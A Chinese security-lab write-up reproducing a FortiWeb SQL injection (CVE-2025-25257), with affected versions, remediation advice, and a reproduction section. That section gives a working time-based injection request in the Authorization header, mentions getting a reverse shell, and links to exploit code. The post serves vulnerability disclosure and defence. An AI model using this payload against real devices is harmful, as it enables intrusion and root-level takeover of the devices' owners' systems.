文章总结: FortinetFortiWeb多个版本存在SQL注入漏洞CVE-2025-25257,攻击者可通过构造特殊HTTP请求的Authorization头执行任意SQL语句,获取root权限并完全控制设备。受影响版本包括7.0.0-7.0.10、7.2.0-7.2.10、7.4.0-7.4.7和7.6.0-7.6.3。修复建议包括升级补丁、部署额外WAF、限制管理接口访问和最小化数据库权限。
综合评分: 87
文章分类: 漏洞分析,WEB安全,漏洞预警
【成功复现】Fortinet FortiWeb SQL注入漏洞(CVE-2025-25257)
弥天安全实验室
弥天安全实验室
2025年8月11日 20:51
北京
#
网安引领时代,弥天点亮未来
0x00写在前面
本次测试仅供学习使用,如若非法他用,与平台和本文作者无关,需自行负责!
0x01漏洞介绍
Fortinet FortiWeb是美国飞塔(Fortinet)公司的一款Web应用层防火墙,它能够阻断如跨站点脚本、SQL注入、Cookie中毒、schema中毒等攻击的威胁,保证Web应用程序的安全性并保护敏感的数据库内容。
Fortinet FortiWeb 7.6.3及之前版本、7.4.7及之前版本、7.2.10及之前版本和7.0.10之前版本存在SQL注入漏洞,该漏洞源于对SQL命令中特殊元素中和不当,可能导致SQL注入攻击。漏洞的技术原理在于 FortiWeb 在处理 HTTP 请求的 Authorization ,未对用户输入进行充分的过滤和验证,直接将用户可控的数据拼接到 SQL 查询语句中。通过精心构造的 SQL 注入 payload ,执行任意数据库 SQL 语句,利用该漏洞以 root权限完成特定文件注入,不仅可以获取敏感数据,获得 FortiWeb 的完全控制权。
0x02影响版本
7.0.0 <= FortiWeb <= 7.0.10
7.2.0 <= FortiWeb <= 7.2.10
7.4.0 <= FortiWeb <= 7.4.7
7.6.0 <= FortiWeb <= 7.6.3
0x03漏洞复现
1.访问漏洞环境
2.对漏洞进行复现
POC
漏洞复现
GET /api/fabric/device/status HTTP/1.1Host: 127.0.0.1:8443Authorization: Bearer AAAAAA'/**/or/**/sleep(5)--/**/-'
通过响应,判断漏洞存在
3.Yakit插件测试
可反弹shell
https://codeload.github.com/watchtowrlabs/watchTowr-vs-FortiWeb-CVE-2025-25257/zip/refs/heads/main
0x04修复建议
目前厂商已发布升级补丁以修复漏洞,补丁获取链接:
建议尽快升级修复漏洞,再次声明本文仅供学习使用,非法他用责任自负!
-
在 FortiWeb 前端部署额外的 Web 应用防火墙或入侵检测系统,对 Authorization 头进行严格过滤。
-
限制 FortiWeb 管理接口的网络访问,仅允许来自受信任 IP 地址的连接。
-
对数据库访问权限进行最小化配置,限制 SQL 命令执行权限。
https://www.fortinet.com/products/web-application-firewall/fortiwebhttps://github.com/0xbigshaq/CVE-2025-25257
弥天简介
学海浩茫,予以风动,必降弥天之润!弥天安全实验室成立于2019年2月19日,主要研究安全防守溯源、威胁狩猎、漏洞复现、工具分享等不同领域。目前主要力量为民间白帽子,也是民间组织。主要以技术共享、交流等不断赋能自己,赋能安全圈,为网络安全发展贡献自己的微薄之力。
口号 网安引领时代,弥天点亮未来
知识分享完了
喜欢别忘了关注我们哦~
学海浩茫,
予以风动,
必降弥天之润!
弥 天
安全实验室
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:弥天安全实验室 弥天安全实验室《【成功复现】Fortinet FortiWeb SQL注入漏洞(CVE-2025-25257)》